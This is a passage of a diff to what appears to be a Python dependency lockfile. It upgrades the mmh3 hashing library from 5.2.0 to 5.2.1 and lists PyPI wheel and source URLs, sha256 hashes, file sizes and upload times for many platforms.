"https://files.pythonhosted.org/packages/77/79/9be23ad0b7001a4b22752e7693be232428ecc0a35068a4ff5c2f14ef8b20/mmh3-5.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f7f9034c7cf05ddfaac8d7a2e63a3c97a840d4615d0a0e65ba8bdf6f8576e3be", size = 40853, upload-time = "2025-07-29T07:43:14.888Z" }, - { url = "https://files.pythonhosted.org/packages/ac/1b/96b32058eda1c1dee8264900c37c359a7325c1f11f5ff14fd2be8e24eff9/mmh3-5.2.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11730eeb16dfcf9674fdea9bb6b8e6dd9b40813b7eb839bc35113649eef38aeb", size = 109694, upload-time = "2025-07-29T07:43:15.816Z" }, - { url = "https://files.pythonhosted.org/packages/8d/6f/a2ae44cd7dad697b6dea48390cbc977b1e5ca58fda09628cbcb2275af064/mmh3-5.2.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:932a6eec1d2e2c3c9e630d10f7128d80e70e2d47fe6b8c7ea5e1afbd98733e65", size = 117438, upload-time = "2025-07-29T07:43:16.865Z" }, - { url = "https://files.pythonhosted.org/packages/a0/08/bfb75451c83f05224a28afeaf3950c7b793c0b71440d571f8e819cfb149a/mmh3-5.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ca975c51c5028947bbcfc24966517aac06a01d6c921e30f7c5383c195f87991", size = 120409, upload-time = "2025-07-29T07:43:18.207Z" }, - { url = "https://files.pythonhosted.org/packages/9f/ea/8b118b69b2ff8df568f742387d1a159bc654a0f78741b31437dd047ea28e/mmh3-5.2.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b0b58215befe0f0e120b828f7645e97719bbba9f23b69e268ed0ac7adde8645", size = 125909, upload-time = "2025-07-29T07:43:19.39Z" }, - { url = "https://files.pythonhosted.org/packages/3e/11/168cc0b6a30650032e351a3b89b8a47382da541993a03af91e1ba2501234/mmh3-5.2.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29c2b9ce61886809d0492a274a5a53047742dea0f703f9c4d5d223c3ea6377d3", size = 135331, upload-time = "2025-07-29T07:43:20.435Z" }, - { url = "https://files.pythonhosted.org/packages/31/05/e3a9849b1c18a7934c64e831492c99e67daebe84a8c2f2c39a7096a830e3/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a367d4741ac0103f8198c82f429bccb9359f543ca542b06a51f4f0332e8de279", size = 110085, upload-time = "2025-07-29T07:43:21.92Z" }, - { url = "https://files.pythonhosted.org/packages/d9/d5/a96bcc306e3404601418b2a9a370baec92af84204528ba659fdfe34c242f/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5a5dba98e514fb26241868f6eb90a7f7ca0e039aed779342965ce24ea32ba513", size = 111195, upload-time = "2025-07-29T07:43:23.066Z" }, - { url = "https://files.pythonhosted.org/packages/af/29/0fd49801fec5bff37198684e0849b58e0dab3a2a68382a357cfffb0fafc3/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:941603bfd75a46023807511c1ac2f1b0f39cccc393c15039969806063b27e6db", size = 116919, upload-time = "2025-07-29T07:43:24.178Z" }, - { url = "https://files.pythonhosted.org/packages/2d/04/4f3c32b0a2ed762edca45d8b46568fc3668e34f00fb1e0a3b5451ec1281c/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:132dd943451a7c7546978863d2f5a64977928410782e1a87d583cb60eb89e667", size = 123160, upload-time = "2025-07-29T07:43:25.26Z" }, - { url = "https://files.pythonhosted.org/packages/91/76/3d29eaa38821730633d6a240d36fa8ad2807e9dfd432c12e1a472ed211eb/mmh3-5.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f698733a8a494466432d611a8f0d1e026f5286dee051beea4b3c3146817e35d5", size = 110206, upload-time = "2025-07-29T07:43:26.699Z" }, - { url = "https://files.pythonhosted.org/packages/44/1c/ccf35892684d3a408202e296e56843743e0b4fb1629e59432ea88cdb3909/mmh3-5.2.0-cp314-cp314t-win32.whl", hash = "sha256:6d541038b3fc360ec538fc116de87462627944765a6750308118f8b509a8eec7", size = 41970, upload-time = "2025-07-29T07:43:27.666Z" }, - { url = "https://files.pythonhosted.org/packages/75/b2/b9e4f1e5adb5e21eb104588fcee2cd1eaa8308255173481427d5ecc4284e/mmh3-5.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:e912b19cf2378f2967d0c08e86ff4c6c360129887f678e27e4dde970d21b3f4d", size = 43063, upload-time = "2025-07-29T07:43:28.582Z" }, - { url = "https://files.pythonhosted.org/packages/6a/fc/0e61d9a4e29c8679356795a40e48f647b4aad58d71bfc969f0f8f56fb912/mmh3-5.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:e7884931fe5e788163e7b3c511614130c2c59feffdc21112290a194487efb2e9", size = 40455, upload-time = "2025-07-29T07:43:29.563Z" }, +version = "5.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/91/1a/edb23803a168f070ded7a3014c6d706f63b90c84ccc024f89d794a3b7a6d/mmh3-5.2.1.tar.gz", hash = "sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad", size = 33775, upload-time = "2026-03-05T15:55:57.716Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a6/bb/88ee54afa5644b0f35ab5b435f208394feb963e5bb47c4e404deb625ffa4/mmh3-5.2.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5d87a3584093e1a89987e3d36d82c98d9621b2cb944e22a420aa1401e096758f", size = 56080, upload-time = "2026-03-05T15:53:40.452Z" }, + { url = "https://files.pythonhosted.org/packages/cc/bf/5404c2fd6ac84819e8ff1b7e34437b37cf55a2b11318894909e7bb88de3f/mmh3-5.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb", size = 40462, upload-time = "2026-03-05T15:53:41.751Z" }, + { url = "https://files.pythonhosted.org/packages/de/0b/52bffad0b52ae4ea53e222b594bd38c08ecac1fc410323220a7202e43da5/mmh3-5.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c", size = 40077, upload-time = "2026-03-05T15:53:42.753Z" }, + { url = "https://files.pythonhosted.org/packages/a0/9e/326c93d425b9fa4cbcdc71bc32aaba520db37577d632a24d25d927594eca/mmh3-5.2.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:76219cd1eefb9bf4af7856e3ae563d15158efa145c0aab01e9933051a1954045", size = 95302, upload-time = "2026-03-05T15:53:43.867Z" }, + { url = "https://files.pythonhosted.org/packages/c6/b1/e20d5f0d19c4c0f3df213fa7dcfa0942c4fb127d38e11f398ae8ddf6cccc/mmh3-5.2.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb9d44c25244e11c8be3f12c938ca8ba8404620ef8092245d2093c6ab3df260f", size = 101174, upload-time = "2026-03-05T15:53:45.194Z" }, + { url = "https://files.pythonhosted.org/packages/7f/4a/1a9bb3e33c18b1e1cee2c249a3053c4d4d9c93ecb30738f39a62249a7e86/mmh3-5.2.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386", size = 103979, upload-time = "2026-03-05T15:53:46.334Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/dab9ee7545429e7acdd38d23d0104471d31de09a0c695f1b751e0ff34532/mmh3-5.2.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a", size = 110898, upload-time = "2026-03-05T15:53:47.443Z" }, + { url = "https://files.pythonhosted.org/packages/72/08/408f11af7fe9e76b883142bb06536007cc7f237be2a5e9ad4e837716e627/mmh3-5.2.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:add7ac388d1e0bf57259afbcf9ed05621a3bf11ce5ee337e7536f1e1aaf056b0", size = 118308, upload-time = "2026-03-05T15:53:49.1Z" }, + { url = "https://files.pythonhosted.org/packages/86/2d/0551be7fe0000736d9ad12ffa1f130d7a0c17b49193d6dc41c82bd9404c6/mmh3-5.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:41105377f6282e8297f182e393a79cfffd521dde37ace52b106373bdcd9ca5cb", size = 101671, upload-time = "2026-03-05T15:53:50.317Z" }, + { url = "https://files.pythonhosted.org/packages/44/17/6e4f80c4e6ad590139fa2017c3aeca54e7cc9ef68e08aa142a0c90f40a97/mmh3-5.2.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3cb61db880ec11e984348227b333259994c2c85caa775eb7875decb3768db890", size = 96682, upload-time = "2026-03-05T15:53:51.48Z" }, + { url = "https://files.pythonhosted.org/packages/ad/a7/b82fccd38c1fa815de72e94ebe9874562964a10e21e6c1bc3b01d3f15a0e/mmh3-5.2.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b5378de2b139c3a830f0209c1e91f7705919a4b3e563a10955104f5097a70a", size = 110287, upload-time = "2026-03-05T15:53:52.68Z" }, + { url = "https://files.pythonhosted.org/packages/a8/a1/2644069031c8cec0be46f0346f568a53f42fddd843f03cc890306699c1e2/mmh3-5.2.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e904f2417f0d6f6d514f3f8b836416c360f306ddaee1f84de8eef1e722d212e5", size = 111899, upload-time = "2026-03-05T15:53:53.791Z" }, + { url = "https://files.pythonhosted.org/packages/51/7b/6614f3eb8fb33f931fa7616c6d477247e48ec6c5082b02eeeee998cffa94/mmh3-5.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1fbb0a99125b1287c6d9747f937dc66621426836d1a2d50d05aecfc81911b57", size = 100078, upload-time = "2026-03-05T15:53:55.234Z" }, + { url = "https://files.pythonhosted.org/packages/27/9a/dd4d5a5fb893e64f71b42b69ecae97dd78db35075412488b24036bc5599c/mmh3-5.2.1-cp310-cp310-win32.whl", hash = "sha256:b4cce60d0223074803c9dbe0721ad3fa51dafe7d462fee4b656a1aa01ee07518", size = 40756, upload-time = "2026-03-05T15:53:56.319Z" }, + { url = "https://files.pythonhosted.org/packages/c9/34/0b25889450f8aeffcec840aa73251e853f059c1b72ed1d1c027b956f95f5/mmh3-5.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:6f01f044112d43a20be2f13a11683666d87151542ad627fe41a18b9791d2802f", size = 41519, upload-time = "2026-03-05T15:53:57.41Z" }, + { url = "https://files.pythonhosted.org/packages/fd/31/8fd42e3c526d0bcb1db7f569c0de6729e180860a0495e387a53af33c2043/mmh3-5.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:7501e9be34cb21e72fcfe672aafd0eee65c16ba2afa9dcb5500a587d3a0580f0", size = 39285, upload-time = "2026-03-05T15:53:58.697Z" }, + { url = "https://files.pythonhosted.org/packages/65/d7/3312a59df3c1cdd783f4cf0c4ee8e9decff9c5466937182e4cc7dbbfe6c5/mmh3-5.2.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450", size = 56082, upload-time = "2026-03-05T15:53:59.702Z" }, + { url = "https://files.pythonhosted.org/packages/61/96/6f617baa098ca0d2989bfec6d28b5719532cd8d8848782662f5b755f657f/mmh3-5.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9aeaf53eaa075dd63e81512522fd180097312fb2c9f476333309184285c49ce0", size = 40458, upload-time = "2026-03-05T15:54:01.548Z" }, + { url = "https://files.pythonhosted.org/packages/c1/b4/9cd284bd6062d711e13d26c04d4778ab3f690c1c38a4563e3c767ec8802e/mmh3-5.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0634581290e6714c068f4aa24020acf7880927d1f0084fa753d9799ae9610082", size = 40079, upload-time = "2026-03-05T15:54:02.743Z" }, + { url = "https://files.pythonhosted.org/packages/f6/09/a806334ce1d3d50bf782b95fcee8b3648e1e170327d4bb7b4bad2ad7d956/mmh3-5.2.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e080c0637aea036f35507e803a4778f119a9b436617694ae1c5c366805f1e997", size = 97242, upload-time = "2026-03-05T15:54:04.536Z" }, + { url = "https://files.pythonhosted.org/packages/ee/93/723e317dd9e041c4dc4566a2eb53b01ad94de31750e0b834f1643905e97c/mmh3-5.2.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:db0562c5f71d18596dcd45e854cf2eeba27d7543e1a3acdafb7eef728f7fe85d", size = 103082, upload-time = "2026-03-05T15:54:06.387Z" }, + { url = "https://files.pythonhosted.org/packages/61/b5/f96121e69cc48696075071531cf574f112e1ffd08059f4bffb41210e6fc5/mmh3-5.2.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e", size = 106054, upload-time = "2026-03-05T15:54:07.506Z" }, + { url = "https://files.pythonhosted.org/packages/82/49/192b987ec48d0b2aecf8ac285a9b11fbc00030f6b9c694664ae923458dde/mmh3-5.2.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:960b1b3efa39872ac8b6cc3a556edd6fb90ed74f08c9c45e028f1005b26aa55d", size = 112910, upload-time = "2026-03-05T15:54:09.403Z" }, + { url = "https://files.pythonhosted.org/packages/cf/a1/03e91fd334ed0144b83343a76eb11f17434cd08f746401488cfeafb2d241/mmh3-5.2.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d30b650595fdbe32366b94cb14f30bb2b625e512bd4e1df00611f99dc5c27fd4", size = 120551, upload-time = "2026-03-05T15:54:10.587Z" }, + { url = "https://files.pythonhosted.org/packages/93/b9/b89a71d2ff35c3a764d1c066c7313fc62c7cc48fa48a4b3b0304a4a0146f/mmh3-5.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:82f3802bfc4751f420d591c5c864de538b71cea117fce67e4595c2afede08a15", size = 99096, upload-time = "2026-03-05T15:54:11.76Z" }, + { url = "https://files.pythonhosted.org/packages/36/b5/613772c1c6ed5f7b63df55eb131e887cc43720fec392777b95a79d34e640/mmh3-5.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:915e7a2418f10bd1151b1953df06d896db9783c9cfdb9a8ee1f9b3a4331ab503", size = 98524, upload-time = "2026-03-05T15:54:13.122Z" }, + { url = "https://files.pythonhosted.org/packages/5e/0e/1524566fe8eaf871e4f7bc44095929fcd2620488f402822d848df19d679c/mmh3-5.2.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:fc78739b5ec6e4fb02301984a3d442a91406e7700efbe305071e7fd1c78278f2", size = 106239, upload-time = "2026-03-05T15:54:14.601Z" }, + { url = "https://files.pythonhosted.org/packages/04/94/21adfa7d90a7a697137ad6de33eeff6445420ca55e433a5d4919c79bc3b5/mmh3-5.2.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:41aac7002a749f08727cb91babff1daf8deac317c0b1f317adc69be0e6c375d1", size = 109797, upload-time = "2026-03-05T15:54:15.819Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e6/1aacc3a219e1aa62fa65669995d4a3562b35be5200ec03680c7e4bec9676/mmh3-5.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9d8089d853c7963a8ce87fff93e2a67075c0bc08684a08ea6ad13577c38ffc38", size = 97228, upload-time = "2026-03-05T15:54:16.992Z" }, + { url = "https://files.pythonhosted.org/packages/f1/b9/5e4cca8dcccf298add0a27f3c357bc8cf8baf821d35cdc6165e4bd5a48b0/mmh3-5.2.1-cp311-cp311-win32.whl", hash = "sha256:baeb47635cb33375dee4924cd93d7f5dcaa786c740b08423b0209b824a1ee728", size = 40751, upload-time = "2026-03-05T15:54:18.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/fc/5b11d49247f499bcda591171e9cf3b6ee422b19e70aa2cef2e0ae65ca3b9/mmh3-5.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:1e4ecee40ba19e6975e1120829796770325841c2f153c0e9aecca927194c6a2a", size = 41517, upload-time = "2026-03-05T15:54:19.764Z" }, + { url = "https://files.pythonhosted.org/packages/8a/5f/2a511ee8a1c2a527c77726d5231685b72312c5a1a1b7639ad66a9652aa84/mmh3-5.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:c302245fd6c33d96bd169c7ccf2513c20f4c1e417c07ce9dce107c8bc3f8411f", size = 39287, upload-time = "2026-03-05T15:54:20.904Z" }, + { url = "https://files.pythonhosted.org/packages/92/94/bc5c3b573b40a328c4d141c20e399039ada95e5e2a661df3425c5165fd84/mmh3-5.2.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0cc21533878e5586b80d74c281d7f8da7932bc8ace50b8d5f6dbf7e3935f63f1", size = 56087, upload-time = "2026-03-05T15:54:21.92Z" }, + { url = "https://files.pythonhosted.org/packages/f6/80/64a02cc3e95c3af0aaa2590849d9ed24a9f14bb93537addde688e039b7c3/mmh3-5.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4eda76074cfca2787c8cf1bec603eaebdddd8b061ad5502f85cddae998d54f00", size = 40500, upload-time = "2026-03-05T15:54:22.953Z" }, + { url = "https://files.pythonhosted.org/packages/8b/72/e6d6602ce18adf4ddcd0e48f2e13590cc92a536199e52109f46f259d3c46/mmh3-5.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:eee884572b06bbe8a2b54f424dbd996139442cf83c76478e1ec162512e0dd2c7", size = 40034, upload-time = "2026-03-05T15:54:23.943Z" }, + { url = "https://files.pythonhosted.org/packages/59/c2/bf4537a8e58e21886ef16477041238cab5095c836496e19fafc34b7445d2/mmh3-5.2.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0d0b7e803191db5f714d264044e06189c8ccd3219e936cc184f07106bd17fd7b", size = 97292, upload-time = "2026-03-05T15:54:25.335Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e2/51ed62063b44d10b06d975ac87af287729eeb5e3ed9772f7584a17983e90/mmh3-5.2.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e6c219e375f6341d0959af814296372d265a8ca1af63825f65e2e87c618f006", size = 103274, upload-time = "2026-03-05T15:54:26.44Z" }, + { url = "https://files.pythonhosted.org/packages/75/ce/12a7524dca59eec92e5b31fdb13ede1e98eda277cf2b786cf73bfbc24e81/mmh3-5.2.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825", size = 106158, upload-time = "2026-03-05T15:54:28.578Z" }, + { url = "https://files.pythonhosted.org/packages/86/1f/d3ba6dd322d01ab5d44c46c8f0c38ab6bbbf9b5e20e666dfc05bf4a23604/mmh3-5.2.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3c38d142c706201db5b2345166eeef1e7740e3e2422b470b8ba5c8727a9b4c7a", size = 113005, upload-time = "2026-03-05T15:54:29.767Z" }, + { url = "https://files.pythonhosted.org/packages/b6/a9/15d6b6f913294ea41b44d901741298e3718e1cb89ee626b3694625826a43/mmh3-5.2.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50885073e2909251d4718634a191c49ae5f527e5e1736d738e365c3e8be8f22b", size = 120744, upload-time = "2026-03-05T15:54:30.931Z" }, + { url = "https://files.pythonhosted.org/packages/76/b3/70b73923fd0284c439860ff5c871b20210dfdbe9a6b9dd0ee6496d77f174/mmh3-5.2.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b3f99e1756fc48ad507b95e5d86f2fb21b3d495012ff13e6592ebac14033f166", size = 99111, upload-time = "2026-03-05T15:54:32.353Z" }, + { url = "https://files.pythonhosted.org/packages/dd/38/99f7f75cd27d10d8b899a1caafb9d531f3903e4d54d572220e3d8ac35e89/mmh3-5.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:62815d2c67f2dd1be76a253d88af4e1da19aeaa1820146dec52cf8bee2958b16", size = 98623, upload-time = "2026-03-05T15:54:33.801Z" }, + { url = "https://files.pythonhosted.org/packages/fd/68/6e292c0853e204c44d2f03ea5f090be3317a0e2d9417ecb62c9eb27687df/mmh3-5.2.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8f767ba0911602ddef289404e33835a61168314ebd3c729833db2ed685824211", size = 106437, upload-time = "2026-03-05T15:54:35.177Z" }, + { url = "https://files.pythonhosted.org/packages/dd/c6/fedd7284c459cfb58721d461fcf5607a4c1f5d9ab195d113d51d10164d16/mmh3-5.2.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:67e41a497bac88cc1de96eeba56eeb933c39d54bc227352f8455aa87c4ca4000", size = 110002, upload-time = "2026-03-05T15:54:36.673Z" }, + { url = "https://files.pythonhosted.org/packages/3b/ac/ca8e0c19a34f5b71390171d2ff0b9f7f187550d66801a731bb68925126a4/mmh3-5.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3d74a03fb57757ece25aa4b3c1c60157a1cece37a020542785f942e2f827eed5", size = 97507, upload-time = "2026-03-05T15:54:37.804Z" }, + { url = "https://files.pythonhosted.org/packages/df/94/6ebb9094cfc7ac5e7950776b9d13a66bb4a34f83814f32ba2abc9494fc68/mmh3-5.2.1-cp312-cp312-win32.whl", hash = "sha256:7374d6e3ef72afe49697ecd683f3da12f4fc06af2d75433d0580c6746d2fa025", size = 40773, upload-time = "2026-03-05T15:54:40.077Z" }, + { url = "https://files.pythonhosted.org/packages/5b/3c/cd3527198cf159495966551c84a5f36805a10ac17b294f41f67b83f6a4d6/mmh3-5.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:3a9fed49c6ce4ed7e73f13182760c65c816da006debe67f37635580dfb0fae00", size = 41560, upload-time = "2026-03-05T15:54:41.148Z" }, + { url = "https://files.pythonhosted.org/packages/15/96/6fe5ebd0f970a076e3ed5512871ce7569447b962e96c125528a2f9724470/mmh3-5.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:bbfcb95d9a744e6e2827dfc66ad10e1020e0cac255eb7f85652832d5a264c2fc", size = 39313, upload-time = "2026-03-05T15:54:42.171Z" }, + { url = "https://files.pythonhosted.org/packages/25/a5/9daa0508a1569a54130f6198d5462a92deda870043624aa3ea72721aa765/mmh3-5.2.1-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:723b2681ed4cc07d3401bbea9c201ad4f2a4ca6ba8cddaff6789f715dd2b391e", size = 40832, upload-time = "2026-03-05T15:54:43.212Z" }, + { url = "https://files.pythonhosted.org/packages/0a/6b/3230c6d80c1f4b766dedf280a92c2241e99f87c1504ff74205ec8cebe451/mmh3-5.2.1-cp313-cp313-android_21_x86_64.whl", hash = "sha256:3619473a0e0d329fd4aec8075628f8f616be2da41605300696206d6f36920c3d", size = 41964, upload-time = "2026-03-05T15:54:44.204Z" }, + { url = "https://files.pythonhosted.org/packages/62/fb/648bfddb74a872004b6ee751551bfdda783fe6d70d2e9723bad84dbe5311/mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e48d4dbe0f88e53081da605ae68644e5182752803bbc2beb228cca7f1c4454d6", size = 39114, upload-time = "2026-03-05T15:54:45.205Z" }, + { url = "https://files.pythonhosted.org/packages/95/c2/ab7901f87af438468b496728d11264cb397b3574d41506e71b92128e0373/mmh3-5.2.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a482ac121de6973897c92c2f31defc6bafb11c83825109275cffce54bb64933f", size = 39819, upload-time = "2026-03-05T15:54:46.509Z" }, + { url = "https://files.pythonhosted.org/packages/2f/ed/6f88dda0df67de1612f2e130ffea34cf84aaee5bff5b0aff4dbff2babe34/mmh3-5.2.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8", size = 40330, upload-time = "2026-03-05T15:54:47.864Z" }, + { url = "https://files.pythonhosted.org/packages/3d/66/7516d23f53cdf90f43fce24ab80c28f45e6851d78b46bef8c02084edf583/mmh3-5.2.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:d51fde50a77f81330523562e3c2734ffdca9c4c9e9d355478117905e1cfe16c6", size = 56078, upload-time = "2026-03-05T15:54:48.9Z" }, + { url = "https://files.pythonhosted.org/packages/bc/34/4d152fdf4a91a132cb226b671f11c6b796eada9ab78080fb5ce1e95adaab/mmh3-5.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:19bbd3b841174ae6ed588536ab5e1b1fe83d046e668602c20266547298d939a9", size = 40498, upload-time = "2026-03-05T15:54:49.942Z" }, + { url = "https://files.pythonhosted.org/packages/d4/4c/8e3af1b6d85a299767ec97bd923f12b06267089c1472c27c1696870d1175/mmh3-5.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:be77c402d5e882b6fbacfd90823f13da8e0a69658405a39a569c6b58fdb17b03", size = 40033, upload-time = "2026-03-05T15:54:50.994Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f2/966ea560e32578d453c9e9db53d602cbb1d0da27317e232afa7c38ceba11/mmh3-5.2.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fd96476f04db5ceba1cfa0f21228f67c1f7402296f0e73fee3513aa680ad237b", size = 97320, upload-time = "2026-03-05T15:54:52.072Z" }, + { url = "https://files.pythonhosted.org/packages/bb/0d/2c5f9893b38aeb6b034d1a44ecd55a010148054f6a516abe53b5e4057297/mmh3-5.2.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:707151644085dd0f20fe4f4b573d28e5130c4aaa5f587e95b60989c5926653b5", size = 103299, upload-time = "2026-03-05T15:54:53.569Z" }, + { url = "https://files.pythonhosted.org/packages/1c/fc/2ebaef4a4d4376f89761274dc274035ffd96006ab496b4ee5af9b08f21a9/mmh3-5.2.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3737303ca9ea0f7cb83028781148fcda4f1dac7821db0c47672971dabcf63593", size = 106222, upload-time = "2026-03-05T15:54:55.092Z" }, + { url = "https://files.pythonhosted.org/packages/57/09/ea7ffe126d0ba0406622602a2d05e1e1a6841cc92fc322eb576c95b27fad/mmh3-5.2.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4", size = 113048, upload-time = "2026-03-05T15:54:56.305Z" }, + { url = "https://files.pythonhosted.org/packages/85/57/9447032edf93a64aa9bef4d9aa596400b1756f40411890f77a284f6293ca/mmh3-5.2.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d57dea657357230cc780e13920d7fa7db059d58fe721c80020f94476da4ca0a1", size = 120742, upload-time = "2026-03-05T15:54:57.453Z" }, + { url = "https://files.pythonhosted.org/packages/53/82/a86cc87cc88c92e9e1a598fee509f0409435b57879a6129bf3b3e40513c7/mmh3-5.2.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:169e0d178cb59314456ab30772429a802b25d13227088085b0d49b9fe1533104", size = 99132, upload-time = "2026-03-05T15:54:58.583Z" }, + { url = "https://files.pythonhosted.org/packages/54/f7/6b16eb1b40ee89bb740698735574536bc20d6cdafc65ae702ea235578e05/mmh3-5.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7e4e1f580033335c6f76d1e0d6b56baf009d1a64d6a4816347e4271ba951f46d", size = 98686, upload-time = "2026-03-05T15:55:00.078Z" }, + { url = "https://files.pythonhosted.org/packages/e8/88/a601e9f32ad1410f438a6d0544298ea621f989bd34a0731a7190f7dec799/mmh3-5.2.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f", size = 106479, upload-time = "2026-03-05T15:55:01.532Z" }, + { url = 